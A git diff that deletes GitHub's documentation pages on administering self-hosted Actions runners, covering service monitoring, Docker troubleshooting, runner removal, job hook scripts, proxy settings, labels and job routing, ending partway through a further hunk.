-```shell -Feb 11 14:57:07 runner01 runsvc.sh[962]: Starting Runner listener with startup type: service -Feb 11 14:57:07 runner01 runsvc.sh[962]: Started listener process -Feb 11 14:57:07 runner01 runsvc.sh[962]: Started running service -Feb 11 14:57:16 runner01 runsvc.sh[962]: √ Connected to GitHub -Feb 11 14:57:17 runner01 runsvc.sh[962]: 2020-02-11 14:57:17Z: Listening for Jobs -Feb 11 16:06:54 runner01 runsvc.sh[962]: 2020-02-11 16:06:54Z: Running job: testAction -Feb 11 16:07:10 runner01 runsvc.sh[962]: 2020-02-11 16:07:10Z: Job testAction completed with result: Succeeded -``` - -To view the `systemd` configuration, you can locate the service file here: `/etc/systemd/system/actions.runner.<org>-<repo>.<runnerName>.service`. -If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service). - -{% endlinux %} - -{% mac %} - -## Using `launchd` to check the self-hosted runner application service - -For macOS-based self-hosted runners running the application as a service, you can use `launchctl` to monitor their real-time activity. The default launchd-based service uses the following naming convention: `actions.runner.<org>-<repo>.<runnerName>`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file in the runner directory: - -```shell -% cat ~/actions-runner/.service -/Users/exampleUsername/Library/LaunchAgents/actions.runner.octo-org-octo-repo.runner01.plist -``` - -The `svc.sh` script uses `launchctl` to check whether the application is running. For example: - -```shell -$ ./svc.sh status -status actions.runner.example.runner01: -/Users/exampleUsername/Library/LaunchAgents/actions.runner.example.runner01.plist -Started: -379 0 actions.runner.example.runner01 -``` - -The resulting output includes the process ID and the name of the application’s `launchd` service. - -To view the `launchd` configuration, you can locate the service file here: `/Users/exampleUsername/Library/LaunchAgents/actions.runner.<repoName>.<runnerName>.service`. -If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service-1). - -{% endmac %} - -{% windows %} - -## Using PowerShell to check the self-hosted runner application service - -For Windows-based self-hosted runners running the application as a service, you can use PowerShell to monitor their real-time activity. The service uses the naming convention `GitHub Actions Runner (<org>-<repo>.<runnerName>)`. You can also find the service's name by checking the _.service_ file in the runner directory: - -```powershell -PS C:\actions-runner> Get-Content .service -actions.runner.octo-org-octo-repo.runner01.service -``` - -You can view the status of the runner in the Windows _Services_ application (`services.msc`). You can also use PowerShell to check whether the service is running: - -```powershell -PS C:\actions-runner> Get-Service "actions.runner.octo-org-octo-repo.runner01.service" | Select-Object Name, Status -Name Status ----- ------ -actions.runner.octo-org-octo-repo.runner01.service Running -``` - -You can use PowerShell to check the recent activity of the self-hosted runner. In this example output, you can see the application start, receive a job named `testAction`, and then display the resulting status: - -```powershell -PS C:\actions-runner> Get-EventLog -LogName Application -Source ActionsRunnerService - - Index Time EntryType Source InstanceID Message - ----- ---- --------- ------ ---------- ------- - 136 Mar 17 13:45 Information ActionsRunnerService 100 2020-03-17 13:45:48Z: Job Greeting completed with result: Succeeded - 135 Mar 17 13:45 Information ActionsRunnerService 100 2020-03-17 13:45:34Z: Running job: testAction - 134 Mar 17 13:41 Information ActionsRunnerService 100 2020-03-17 13:41:54Z: Listening for Jobs - 133 Mar 17 13:41 Information ActionsRunnerService 100 û Connected to GitHub - 132 Mar 17 13:41 Information ActionsRunnerService 0 Service started successfully. - 131 Mar 17 13:41 Information ActionsRunnerService 100 Starting Actions Runner listener - 130 Mar 17 13:41 Information ActionsRunnerService 100 Starting Actions Runner Service - 129 Mar 17 13:41 Information ActionsRunnerService 100 create event log trace source for actions-runner service -``` - -{% endwindows %} - -## Monitoring the automatic update process - -We recommend that you regularly check the automatic update process, as the self-hosted runner will not be able to process jobs if it falls below a certain version threshold. The self-hosted runner application automatically updates itself, but note that this process does not include any updates to the operating system or other software; you will need to separately manage these updates. - -You can view the update activities in the `Runner_` log files. For example: - -```shell -[Feb 12 12:37:07 INFO SelfUpdater] An update is available. -``` - -In addition, you can find more information in the _SelfUpdate_ log files located in the `_diag` directory where you installed the runner application. - -{% linux %} - -## Troubleshooting containers in self-hosted runners - -### Checking that Docker is installed - -If your jobs require containers, then the self-hosted runner must be Linux-based and needs to have Docker installed. Check that your self-hosted runner has Docker installed and that the service is running. - -You can use `systemctl` to check the service status: - -```shell -$ sudo systemctl is-active docker.service -active -``` - -If Docker is not installed, then dependent actions will fail with the following errors: - -```shell -[2020-02-13 16:56:10Z INFO DockerCommandManager] Which: 'docker' -[2020-02-13 16:56:10Z INFO DockerCommandManager] Not found. -[2020-02-13 16:56:10Z ERR StepsRunner] Caught exception from step: System.IO.FileNotFoundException: File not found: 'docker' -``` - -### Checking the Docker permissions - -If your job fails with the following error: - -```shell -dial unix /var/run/docker.sock: connect: permission denied -``` - -Check that the self-hosted runner's service account has permission to use the Docker service. You can identify this account by checking the configuration of the self-hosted runner in `systemd`. For example: - -```shell -$ sudo systemctl show -p User actions.runner.octo-org-octo-repo.runner01.service -User=runner-user -``` - -{% endlinux %} - -{% ifversion ghes %} - -## Resolving runners that are offline after an upgrade of {% data variables.product.prodname_ghe_server %} - -{% data reusables.actions.upgrade-runners-before-upgrade-ghes %} - -If your runners are offline for this reason, manually update the runners. For more information, see the installation instructions for [the latest release](https://github.com/actions/runner/releases/latest) in the actions/runner repository. -{% endif %} - -### Checking which Docker engine is installed on the runner - -If your build fails with the following error: - -```shell -Error: Input required and not supplied: java-version -``` - -Check which Docker engine is installed on your self-hosted runner. To pass the inputs of an action into the Docker container, the runner uses environment variables that might contain dashes as part of their names. The action may not be able to get the inputs if the Docker engine is not a binary executable, but is instead a shell wrapper or a link (for example, a Docker engine installed on Linux using `snap`). To address this error, configure your self-hosted runner to use a different Docker engine. - -To check if your Docker engine was installed using `snap`, use the `which` command. In the following example, the Docker engine was installed using `snap`: - -```shell -$ which docker -/snap/bin/docker -``` diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners.md deleted file mode 100644 index cb1f3454ceef..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Removing self-hosted runners -intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes %}, an organization, or an enterprise{% endif %}.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners - - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners - - /actions/hosting-your-own-runners/removing-self-hosted-runners -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -shortTitle: Remove self-hosted runners ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Removing a runner from a repository - -> [!NOTE] -> * {% data reusables.actions.self-hosted-runner-removal-impact %} -> * {% data reusables.actions.self-hosted-runner-auto-removal %} -> * {% data reusables.actions.jit-runner-removal %} - -To remove a self-hosted runner from a user repository you must be the repository owner. Organization owners{% ifversion custom-org-roles %} and users with the "Manage organization runners and runner groups" permission{% endif %} can remove a runner from a repository in the organization. {% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %} - -We recommend that you also have access to the self-hosted runner machine. - -For information about how to remove a self-hosted runner with the REST API, see [AUTOTITLE](/rest/actions/self-hosted-runners). - -{% data reusables.actions.self-hosted-runner-reusing %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-runners %} -{% data reusables.actions.settings-sidebar-actions-runner-selection %} -{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} - -## Removing a runner from an organization - -> [!NOTE] -> * {% data reusables.actions.self-hosted-runner-removal-impact %} -> * {% data reusables.actions.self-hosted-runner-auto-removal %} -> * {% data reusables.actions.jit-runner-removal %} - -To remove a self-hosted runner from an organization, you must be an organization owner{% ifversion custom-org-roles %} or have the "Manage organization runners and runner groups" permission{% endif %}. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see [AUTOTITLE](/rest/actions/self-hosted-runners). - -{% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %} - -{% data reusables.actions.self-hosted-runner-reusing %} -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.settings-sidebar-actions-runner-selection %} -{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} - -## Removing a runner from an enterprise - -{% ifversion fpt %} -If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise). -{% endif %} -{% ifversion ghec or ghes %} - -> [!NOTE] -> * {% data reusables.actions.self-hosted-runner-removal-impact %} -> * {% data reusables.actions.self-hosted-runner-auto-removal %} -> * {% data reusables.actions.jit-runner-removal %} - -To remove a self-hosted runner from an enterprise, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/actions/self-hosted-runners). - -{% data reusables.actions.self-hosted-runner-reusing %} -{% ifversion ghec or ghes %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.settings-sidebar-actions-runner-selection %} -{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} -{% endif %} -{% endif %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/running-scripts-before-or-after-a-job.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/running-scripts-before-or-after-a-job.md deleted file mode 100644 index e618650a7815..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/running-scripts-before-or-after-a-job.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Running scripts before or after a job -intro: 'Scripts can automatically execute on a self-hosted runner, directly before or after a job.' -redirect_from: - - /actions/hosting-your-own-runners/running-scripts-before-or-after-a-job -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -shortTitle: Run a script before or after a job ---- - -## About pre- and post-job scripts - -You can automatically execute scripts on a self-hosted runner, either before a job runs, or after a job finishes running. You could use these scripts to support the job's requirements, such as building or tearing down a runner environment, or cleaning out directories. You could also use these scripts to track telemetry of how your runners are used. - -The custom scripts are automatically triggered when a specific environment variable is set on the runner; the environment variable must contain the absolute path to the script. For more information, see [Triggering the scripts](#triggering-the-scripts) below. - -The following scripting languages are supported: - -* **Bash:** Uses `bash` and can fallback to `sh`. Executes by running `-e {pathtofile}`. -* **PowerShell:** Uses `pwsh` and can fallback to `powershell`. Executes by running `-command \". '{pathtofile}'\"`. - -## Writing the scripts - -Your custom scripts can use the following features: - -* **Variables:** Scripts have access to the default variables. The full webhook event payload can be found in `GITHUB_EVENT_PATH`. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables). -* **Workflow commands:** Scripts can use workflow commands. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions). Scripts can also use environment files. For more information, see [Environment files](/actions/using-workflows/workflow-commands-for-github-actions#environment-files). - -Your script files must use a file extension for the relevant language, such as `.sh` or `.ps1`, in order to run successfully. - -> [!NOTE] -> Avoid using your scripts to output sensitive information to the console, as anyone with read access to the repository might be able to see the output in the UI logs. - -### Handling exit codes - -For pre-job scripts, exit code `0` indicates that the script completed successfully, and the job will then proceed to run. If there is any other exit code, the job will not run and will be marked as failed. To see the results of your pre-job scripts, check the logs for `Set up runner` entries. For more information on checking the logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures). - -The [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) setting is not supported for use by these scripts. - -## Triggering the scripts - -The custom scripts must be located on the runner, but should not be stored in the `actions-runner` application directory. The scripts are executed in the security context of the service account that's running the runner service. - -> [!NOTE] -> The triggered scripts are processed synchronously, so they will block job execution while they are running. - -The scripts are automatically executed when the runner has the following environment variables containing an absolute path to the script: -* `ACTIONS_RUNNER_HOOK_JOB_STARTED`: The script defined in this environment variable is triggered when a job has been assigned to a runner, but before the job starts running. -* `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`: The script defined in this environment variable is triggered at the end of the job, after all the steps defined in the workflow have run. - -To set these environment variables, you can either add them to the operating system, or add them to a file named `.env` within the self-hosted runner application directory (that is, the directory into which you downloaded and unpacked the runner software). Note that any change to the `.env` file will require restarting the runner. -For example, the following `.env` entry will have the runner automatically run a script, saved as `/opt/runner/cleanup_script.sh` on the runner machine, before each job runs: - -```bash -ACTIONS_RUNNER_HOOK_JOB_STARTED=/opt/runner/cleanup_script.sh -``` - -> [!NOTE] -> The script defined in `ACTIONS_RUNNER_HOOK_JOB_COMPLETED` is executed at the end of the job, before the job completes. This makes it unsuitable for use cases that may interrupt a runner, such as deleting the runner machine as part of an autoscaling implementation. - -## Troubleshooting - -### Permission denied - -If you get a "permission denied" error when you attempt to run a script, make sure that the script is executable. For example, in a terminal on Linux or macOS you can use the following command to make a file executable. - -```bash -chmod +x PATH/TO/FILE -``` - -For information about using workflows to run scripts, see [AUTOTITLE](/actions/writing-workflows/choosing-what-your-workflow-does/adding-scripts-to-your-workflow). - -### No timeout setting - -There is currently no timeout setting available for scripts executed by `ACTIONS_RUNNER_HOOK_JOB_STARTED` or `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`. As a result, you could consider adding timeout handling to your script. - -### Reviewing the workflow run log - -To confirm whether your scripts are executing, you can review the logs for that job. The scripts will be listed within separate steps for either `Set up runner` or `Complete runner`, depending on which environment variable is triggering the script. For more information on checking the logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures). diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-a-proxy-server-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-a-proxy-server-with-self-hosted-runners.md deleted file mode 100644 index 0293bc05fb15..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-a-proxy-server-with-self-hosted-runners.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Using a proxy server with self-hosted runners -intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.github %}.' -redirect_from: - - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners - - /actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -shortTitle: Proxy servers ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Configuring a proxy server using environment variables - -If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables: - -* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example: - * `http://proxy.local` - * `http://192.168.1.1:8080` - * `http://username:password@proxy.local` -* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example: - * `http://proxy.local` - * `http://192.168.1.1:8080` - * `http://username:password@proxy.local` -* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example: - * `example.com` - * `example.com,myserver.local:443,example.org` - -The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application. - -{% data reusables.actions.environment-variables-as-case-sensitive %} - -On Windows machines, the proxy environment variable names are case insensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable. - -{% data reusables.actions.self-hosted-runner-ports-protocols %} - -## Using a .env file to set the proxy configuration - -If setting environment variables is not practical, you can set the proxy configuration variables in a file named `.env` in the self-hosted runner application directory (that is, the directory into which you downloaded and unpacked the runner software). For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in `.env` for the proxy configuration. - -### Example `.env` proxy configuration - -```shell -https_proxy=http://proxy.local:8080 -no_proxy=example.com,myserver.local:443 -``` - -## Setting proxy configuration for Docker containers - -If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables. - -For information on the required Docker configuration, see [Configure Docker to use a proxy server](https://docs.docker.com/network/proxy/) in the Docker documentation. diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners.md deleted file mode 100644 index ef75817a61c0..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Using labels with self-hosted runners -intro: You can use labels to organize your self-hosted runners based on their characteristics. -redirect_from: - - /actions/hosting-your-own-runners/using-labels-with-self-hosted-runners -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -shortTitle: Label runners ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -For information on how to use labels to route jobs to specific types of self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow). You can also route jobs to runners in a specific group. For more information, see [AUTOTITLE](/actions/using-jobs/choosing-the-runner-for-a-job#targeting-runners-in-a-group). - -{% data reusables.actions.self-hosted-runner-management-permissions-required %} - -> [!NOTE] -> Actions Runner Controller does not support multiple labels, to find out more please read our [Actions Runner Controller documentation](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller#using-arc-runners-in-a-workflow) - -## Creating a custom label - -You can create custom labels for runners at the repository{% ifversion ghec or ghes %}, organization, and enterprise{% else %} and organization{% endif %} levels. - -* [Creating a custom label for a repository runner](#creating-a-custom-label-for-a-repository-runner) -* [Creating a custom label for an organization runner](#creating-a-custom-label-for-an-organization-runner){% ifversion ghec or ghes %} -* [Creating a custom label for an enterprise runner](#creating-a-custom-label-for-an-enterprise-runner){% endif %} - -> [!NOTE] -> Labels are case-insensitive. - -### Creating a custom label for a repository runner - -{% data reusables.actions.self-hosted-runner-navigate-to-repo %} -{% data reusables.actions.self-hosted-runners-create-label-steps %} - -### Creating a custom label for an organization runner - -{% data reusables.actions.self-hosted-runner-navigate-to-org %} -{% data reusables.actions.self-hosted-runners-create-label-steps %} - -{% ifversion ghec or ghes %} - -### Creating a custom label for an enterprise runner - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.self-hosted-runners-create-label-steps %} - -{% endif %} - -## Assigning a label to a self-hosted runner - -You can assign labels to self-hosted runners at the repository{% ifversion ghec or ghes %}, organization, and enterprise{% else %} and organization{% endif %} levels. - -* [Assigning a label to a repository runner](#assigning-a-label-to-a-repository-runner) -* [Assigning a label to an organization runner](#assigning-a-label-to-an-organization-runner){% ifversion ghec or ghes %} -* [Assigning a label to an enterprise runner](#assigning-a-label-to-an-enterprise-runner){% endif %} - -### Assigning a label to a repository runner - -{% data reusables.actions.self-hosted-runner-navigate-to-repo %} -{% data reusables.actions.self-hosted-runner-assign-label-steps %} - -### Assigning a label to an organization runner - -{% data reusables.actions.self-hosted-runner-navigate-to-org %} -{% data reusables.actions.self-hosted-runner-assign-label-steps %} - -{% ifversion ghec or ghes %} - -### Assigning a label to an enterprise runner - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.settings-sidebar-actions-runner-selection %} -{% data reusables.actions.self-hosted-runner-assign-label-steps %} - -{% endif %} - -## Removing a custom label from a self-hosted runner - -You can remove custom labels from self-hosted runners at the repository{% ifversion ghec or ghes %}, organization, and enterprise{% else %} and organization{% endif %} levels. - -* [Removing a custom label from a repository runner](#removing-a-custom-label-from-a-repository-runner) -* [Removing a custom label from an organization runner](#removing-a-custom-label-from-an-organization-runner){% ifversion ghec or ghes %} -* [Removing a custom label from an enterprise runner](#removing-a-custom-label-from-an-enterprise-runner){% endif %} - -### Removing a custom label from a repository runner - -{% data reusables.actions.self-hosted-runner-navigate-to-repo %} -{% data reusables.actions.self-hosted-runner-remove-label-steps %} - -### Removing a custom label from an organization runner - -{% data reusables.actions.self-hosted-runner-navigate-to-org %} -{% data reusables.actions.self-hosted-runner-remove-label-steps %} - -{% ifversion ghec or ghes %} - -### Removing a custom label from an enterprise runner - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.settings-sidebar-actions-runner-selection %} -{% data reusables.actions.self-hosted-runner-remove-label-steps %} - -{% endif %} - -## Programmatically assign labels - -You can programmatically assign labels to a self-hosted runner after the runner is created, or during its initial configuration. - -* To programmatically assign labels to an existing self-hosted runner, you must use the REST API. For more information, see [AUTOTITLE](/rest/actions/self-hosted-runners). -* To programmatically assign labels to a self-hosted runner during the initial runner configuration, you can pass label names to the `config` script using the `labels` parameter. - - > [!NOTE] - > You cannot use the `config` script to assign labels to an existing self-hosted runner. - - For example, this command assigns a label named `gpu` when configuring a new self-hosted runner: - - ```shell - ./config.sh --url <REPOSITORY_URL> --token <REGISTRATION_TOKEN> --labels gpu - ``` - - The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture. - - You can use comma separation to assign multiple labels. For example: - - ```shell - ./config.sh --url <REPOSITORY_URL> --token <REGISTRATION_TOKEN> --labels gpu,x64,linux - ``` - - > [!NOTE] - > If you replace an existing runner, then you must reassign any custom labels. diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow.md deleted file mode 100644 index 0e64a9ed9e9e..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Using self-hosted runners in a workflow -intro: 'To use self-hosted runners in a workflow, you can use labels or groups to specify the runner for a job.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow - - /actions/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow - - /actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -shortTitle: Use runners in a workflow ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -You can target self-hosted runners for use in a workflow based on the labels assigned to the runners, or their group membership, or a combination of these. - ->[!IMPORTANT]Runner Scale Sets do not support multiple labels, only the name of the runner can be used in place of a label. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller). - -## About self-hosted runner labels - -Labels allow you to send workflow jobs to specific types of self-hosted runners, based on their shared characteristics. For example, if your job requires a particular hardware component or software package, you can assign a custom label to a runner and then configure your job to only execute on runners with that label. - -{% data reusables.actions.self-hosted-runner-labels-runs-on %} - -For information on creating custom and default labels, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners). - -## About self-hosted runner groups - -For self-hosted runners defined at the organization {% ifversion ghec or ghes %}or enterprise levels{% else %}level{% endif %}, you can group your runners with shared characteristics into a single runner group and then configure your job to target the runner group. - -To specify a self-hosted runner group for your job, configure `runs-on.group` in your workflow file. - -For information on creating and managing runner groups, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). - -{% ifversion repository-actions-runners %} - -## Viewing available runners for a repository - -{% data reusables.actions.about-viewing-runner-list %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.repository-runners %} -1. Click the **Self hosted** tab at the top of the list of runners. -1. Review the list of available self-hosted runners for the repository. This list includes both self-hosted runners and runner scale sets created with {% data variables.product.prodname_actions_runner_controller %}. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller). -{% data reusables.actions.copy-runner-label %} - -{% data reusables.actions.actions-tab-new-runners-note %} - -{% endif %} - -## Using default labels to route jobs - -A self-hosted runner automatically receives certain labels when it is added to {% data variables.product.prodname_actions %}. These are used to indicate its operating system and hardware platform: - -* `self-hosted`: Default label applied to self-hosted runners. -* `linux`, `windows`, or `macOS`: Applied depending on operating system. -* `x64`, `ARM`, or `ARM64`: Applied depending on hardware architecture. - -You can use your workflow's YAML to send jobs to a combination of these labels. In this example, a self-hosted runner that matches all three labels will be eligible to run the job: - -```yaml -runs-on: [self-hosted, linux, ARM64] -``` - -* `self-hosted` - Run this job on a self-hosted runner. -* `linux` - Only use a Linux-based runner. -* `ARM64` - Only use a runner based on ARM64 hardware. - -To create individual self-hosted runners without the default labels, pass the `--no-default-labels` flag when you create the runner. Actions Runner Controller does not support multiple labels. - -## Using custom labels to route jobs - -You can create custom labels and assign them to your self-hosted runners at any time. Custom labels let you send jobs to particular types of self-hosted runners, based on how they're labeled. - -For example, if you have a job that requires a specific type of graphics hardware, you can create a custom label called `gpu` and assign it to the runners that have the hardware installed. A self-hosted runner that matches all the assigned labels will then be eligible to run the job. - -This example shows a job that combines default and custom labels: - -```yaml -runs-on: [self-hosted, linux, x64, gpu] -``` - -* `self-hosted` - Run this job on a self-hosted runner. -* `linux` - Only use a Linux-based runner. -* `x64` - Only use a runner based on x64 hardware. -* `gpu` - This custom label has been manually assigned to self-hosted runners with the GPU hardware installed. - -These labels operate cumulatively, so a self-hosted runner must have all four labels to be eligible to process the job. - -## Using groups to route jobs - -{% data reusables.actions.jobs.example-runs-on-groups %} - -## Using labels and groups to route jobs - -{% data reusables.actions.jobs.example-runs-on-labels-and-groups %} - -## Routing precedence for self-hosted runners - -When routing a job to a self-hosted runner, {% data variables.product.prodname_dotcom %} looks for a runner that matches the job's `runs-on` labels and groups: - -* If {% data variables.product.prodname_dotcom %} finds an online and idle runner that matches the job's `runs-on` labels and groups, the job is then assigned and sent to the runner. - * If the runner doesn't pick up the assigned job within 60 seconds, the job is re-queued so that a new runner can accept it. -* If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner that matches the job's `runs-on` labels and groups, then the job will remain queued until a runner comes online. -* If the job remains queued for more than 24 hours, the job will fail. diff --git a/content/actions/index.md b/content/actions/index.md deleted file mode 100644 index a4fde23af74a..000000000000 --- a/content/actions/index.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: '{% data variables.product.prodname_actions %} documentation' -shortTitle: '{% data variables.product.prodname_actions %}' -intro: 'Automate, customize, and execute your software development workflows right in your repository with {% data variables.product.prodname_actions %}. You can discover, create, and share actions to perform any job you''d like, including CI/CD, and combine actions in a completely customized workflow.' -introLinks: - overview: /actions/about-github-actions/understanding-github-actions - quickstart: /actions/writing-workflows/quickstart -featuredLinks: - startHere: - - /actions/writing-workflows - - /actions/use-cases-and-examples - - /actions/about-github-actions/about-continuous-integration-with-github-actions - - /actions/use-cases-and-examples/deploying/deploying-with-github-actions - - /actions/use-cases-and-examples/publishing-packages/about-packaging-with-github-actions - - /actions/monitoring-and-troubleshooting-workflows - guideCards: - - /actions/writing-workflows/using-workflow-templates - - /actions/use-cases-and-examples/publishing-packages/publishing-nodejs-packages - - /actions/use-cases-and-examples/building-and-testing/building-and-testing-powershell - popular: - - /actions/writing-workflows/workflow-syntax-for-github-actions - - /actions/writing-workflows - - /actions/use-cases-and-examples -changelog: - label: actions -redirect_from: - - /articles/automating-your-workflow-with-github-actions - - /articles/customizing-your-project-with-github-actions - - /github/automating-your-workflow-with-github-actions - - /actions/automating-your-workflow-with-github-actions - - /categories/automating-your-workflow-with-github-actions - - /marketplace/actions - - /actions/reference -layout: product-landing -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-github-actions - - /writing-workflows - - /managing-workflow-runs-and-deployments - - /sharing-automations - - /monitoring-and-troubleshooting-workflows - - /using-github-hosted-runners - - /hosting-your-own-runners - - /security-for-github-actions - - /use-cases-and-examples - - /migrating-to-github-actions - - /administering-github-actions - - /guides ---- - diff --git a/content/actions/managing-workflow-runs-and-deployments/index.md b/content/actions/managing-workflow-runs-and-deployments/index.md deleted file mode 100644 index 96d0567b7481..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/index.md +++ /dev/null @@ -1,21 +0,0 